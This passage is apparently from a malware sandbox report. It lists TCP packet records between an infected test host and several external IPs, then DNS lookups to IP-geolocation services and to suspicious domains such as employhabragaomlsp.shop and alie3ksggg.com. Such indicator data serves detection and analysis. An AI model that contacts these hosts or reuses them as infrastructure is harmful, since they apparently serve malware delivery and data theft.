May 24, 2024 09:42:06.113729000 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.113759995 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114069939 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114103079 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114120007 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114135027 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114140034 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114168882 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.114171982 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114214897 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.114413977 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.114445925 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114453077 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.114476919 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114485979 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114527941 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114532948 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114563942 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114738941 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114772081 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.114784956 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114804029 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.114809036 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.114835978 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.114839077 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.114871979 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115335941 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115367889 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115385056 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115398884 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.115401983 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115437031 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.115447044 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.115478992 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115485907 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.115515947 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115767002 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115799904 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115811110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115830898 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115834951 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115863085 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.115865946 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.115900993 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.116211891 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.116256952 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.116375923 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.116420031 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.116552114 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.116584063 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.116595030 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.116619110 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.116681099 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.116719007 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.117031097 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.117063046 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.117074013 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.117096901 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.117212057 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.117254972 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.117661953 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.117703915 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.117800951 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.117861032 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.118129969 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.118161917 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.118170977 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.118196964 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121311903 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121347904 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121361017 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121378899 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121383905 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121412992 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121443987 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121479034 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121493101 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121514082 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.121613979 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.121660948 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.122859955 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.122891903 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.122903109 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.122925043 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.122925997 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.122956991 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.122965097 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.122988939 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.122996092 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.123027086 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.123317957 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.123351097 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.123363972 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.123387098 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.124552965 CEST	80	49752	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.124588966 CEST	80	49759	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.124672890 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.124865055 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.124888897 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.125031948 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.125072956 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.125209093 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.125241041 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.125283957 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.125711918 CEST	49760	443	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.125792980 CEST	443	49760	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.125875950 CEST	49760	443	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.126104116 CEST	49760	443	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.126127005 CEST	443	49760	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.130160093 CEST	443	49754	188.114.97.3	192.168.2.4
May 24, 2024 09:42:06.130244970 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:06.132544994 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.132576942 CEST	80	49735	5.42.66.10	192.168.2.4
May 24, 2024 09:42:06.132642031 CEST	49735	80	192.168.2.4	5.42.66.10
May 24, 2024 09:42:06.133265972 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:06.133275986 CEST	443	49754	188.114.97.3	192.168.2.4
May 24, 2024 09:42:06.133690119 CEST	443	49754	188.114.97.3	192.168.2.4
May 24, 2024 09:42:06.133744955 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:06.134078026 CEST	49754	443	192.168.2.4	188.114.97.3
May 24, 2024 09:42:06.143197060 CEST	80	49759	45.130.41.108	192.168.2.4
May 24, 2024 09:42:06.143227100 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143259048 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143284082 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.143290043 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143297911 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.143312931 CEST	49759	80	192.168.2.4	45.130.41.108
May 24, 2024 09:42:06.143424988 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.143671036 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143719912 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.143846989 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143879890 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.143893003 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.143919945 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146246910 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146280050 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146296024 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146311045 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146312952 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146342039 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146351099 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146373987 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146385908 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146414042 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146857023 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146888971 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146898031 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146920919 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146924019 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146953106 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.146961927 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.146995068 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147545099 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147578001 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147589922 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147608995 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147612095 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147640944 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147644997 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147672892 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147682905 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147705078 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147716045 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147736073 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.147744894 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.147778988 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148287058 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148330927 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148571014 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148602962 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148618937 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148633957 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148646116 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148667097 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148673058 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148698092 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148706913 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148730040 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.148736000 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.148771048 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.149629116 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.149661064 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.149672031 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.149692059 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.149694920 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.149729967 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.150264978 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.150296926 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.150314093 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.150331974 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.166915894 CEST	80	49733	147.45.47.149	192.168.2.4
May 24, 2024 09:42:06.167081118 CEST	49733	80	192.168.2.4	147.45.47.149
May 24, 2024 09:42:06.167081118 CEST	49733	80	192.168.2.4	147.45.47.149
May 24, 2024 09:42:06.167519093 CEST	49761	54674	192.168.2.4	147.45.47.149
May 24, 2024 09:42:06.175609112 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.175641060 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.175669909 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.175684929 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.175786018 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.175832033 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.175964117 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.175997019 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176009893 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176028013 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176032066 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176074028 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176337957 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176368952 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176381111 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176402092 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176409006 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176434994 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176446915 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176465988 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176479101 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176497936 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.176507950 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.176537037 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177237034 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177270889 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177288055 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177304029 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177313089 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177335978 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177342892 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177369118 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177381039 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177401066 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177411079 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177484035 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.177942991 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177975893 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.177988052 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.178006887 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.178016901 CEST	49736	80	192.168.2.4	91.202.233.232
May 24, 2024 09:42:06.178040028 CEST	80	49736	91.202.233.232	192.168.2.4
May 24, 2024 09:42:06.178054094 CEST	49736	80	192.168.2.4	91.202.233.232

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 24, 2024 09:41:59.112571955 CEST	192.168.2.4	1.1.1.1	0x51e8	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:41:59.857784033 CEST	192.168.2.4	1.1.1.1	0xa5a9	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.386564970 CEST	192.168.2.4	1.1.1.1	0x7a63	Standard query (0)	f.alie3ksggg.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.388210058 CEST	192.168.2.4	1.1.1.1	0xcade	Standard query (0)	lop.foxesjoy.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.393130064 CEST	192.168.2.4	1.1.1.1	0xecd	Standard query (0)	vk.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.395373106 CEST	192.168.2.4	1.1.1.1	0xd678	Standard query (0)	monoblocked.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.397298098 CEST	192.168.2.4	1.1.1.1	0x6b58	Standard query (0)	fleur-de-lis.sbs	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:04.399480104 CEST	192.168.2.4	1.1.1.1	0xd95b	Standard query (0)	kurd.computer	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:07.704773903 CEST	192.168.2.4	1.1.1.1	0x740f	Standard query (0)	f.123654987.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:13.192760944 CEST	192.168.2.4	1.1.1.1	0x7fd8	Standard query (0)	sun6-23.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:13.204387903 CEST	192.168.2.4	1.1.1.1	0x9ad1	Standard query (0)	sun6-21.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:14.305799961 CEST	192.168.2.4	1.1.1.1	0xd6bd	Standard query (0)	sun6-22.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:15.380117893 CEST	192.168.2.4	1.1.1.1	0xbacf	Standard query (0)	sun6-20.userapi.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.283370018 CEST	192.168.2.4	1.1.1.1	0x5379	Standard query (0)	sta.alie3ksgee.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.484360933 CEST	192.168.2.4	1.1.1.1	0xd17f	Standard query (0)	iplis.ru	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:22.508925915 CEST	192.168.2.4	1.1.1.1	0xc226	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.271953106 CEST	192.168.2.4	1.1.1.1	0xca68	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:23.802958965 CEST	192.168.2.4	1.1.1.1	0x2fab	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:26.164978981 CEST	192.168.2.4	1.1.1.1	0x285d	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:27.142517090 CEST	192.168.2.4	1.1.1.1	0xbbb1	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:33.148484945 CEST	192.168.2.4	1.1.1.1	0x789c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:33.148587942 CEST	192.168.2.4	1.1.1.1	0x6394	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 09:42:38.320863962 CEST	192.168.2.4	1.1.1.1	0x179d	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:38.320971012 CEST	192.168.2.4	1.1.1.1	0xed2d	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
May 24, 2024 09:42:42.854271889 CEST	192.168.2.4	1.1.1.1	0xbe33	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:42.854387999 CEST	192.168.2.4	1.1.1.1	0x85d8	Standard query (0)	www.google.com	65	IN (0x0001)	false
May 24, 2024 09:42:50.477977991 CEST	192.168.2.4	1.1.1.1	0xbe4b	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:50.478172064 CEST	192.168.2.4	1.1.1.1	0x6683	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
May 24, 2024 09:42:50.590851068 CEST	192.168.2.4	1.1.1.1	0xd765	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.949836016 CEST	192.168.2.4	1.1.1.1	0xbd13	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.950216055 CEST	192.168.2.4	1.1.1.1	0xd4f5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 09:42:53.950519085 CEST	192.168.2.4	1.1.1.1	0xa587	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.950625896 CEST	192.168.2.4	1.1.1.1	0x3eb6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 09:42:53.960333109 CEST	192.168.2.4	1.1.1.1	0x95c9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:53.960524082 CEST	192.168.2.4	1.1.1.1	0x9ed0	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
May 24, 2024 09:42:55.662404060 CEST	192.168.2.4	1.1.1.1	0xdaa6	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:57.843831062 CEST	192.168.2.4	1.1.1.1	0x7858	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:58.503323078 CEST	192.168.2.4	1.1.1.1	0xe355	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:58.907804966 CEST	192.168.2.4	1.1.1.1	0x9173	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:42:59.603488922 CEST	192.168.2.4	1.1.1.1	0x6281	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:05.208138943 CEST	192.168.2.4	1.1.1.1	0x4957	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:09.823460102 CEST	192.168.2.4	1.1.1.1	0x689a	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:11.549228907 CEST	192.168.2.4	1.1.1.1	0x664b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:11.715235949 CEST	192.168.2.4	1.1.1.1	0xd287	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.479620934 CEST	192.168.2.4	1.1.1.1	0xf20b	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.563550949 CEST	192.168.2.4	1.1.1.1	0x664b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:12.681144953 CEST	192.168.2.4	1.1.1.1	0x32b9	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:13.564080954 CEST	192.168.2.4	1.1.1.1	0x664b	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:15.489283085 CEST	192.168.2.4	1.1.1.1	0x922d	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:16.309954882 CEST	192.168.2.4	1.1.1.1	0x3233	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:17.012443066 CEST	192.168.2.4	1.1.1.1	0xbb91	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:21.632132053 CEST	192.168.2.4	1.1.1.1	0xdae6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:25.242086887 CEST	192.168.2.4	1.1.1.1	0x3c7b	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:39.684457064 CEST	192.168.2.4	1.1.1.1	0xb9a9	Standard query (0)	employhabragaomlsp.shop	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:42.632425070 CEST	192.168.2.4	1.1.1.1	0x57b4	Standard query (0)	service-domain.xyz	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:42.634660006 CEST	192.168.2.4	1.1.1.1	0x8278	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:43.617868900 CEST	192.168.2.4	1.1.1.1	0xfaf9	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:43.618777990 CEST	192.168.2.4	1.1.1.1	0xc47c	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.356319904 CEST	192.168.2.4	1.1.1.1	0x318b	Standard query (0)	db-ip.com	A (IP address)	IN (0x0001)	false
May 24, 2024 09:43:44.649970055 CEST	192.168.2.4	1.1.1.1	0x6143	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
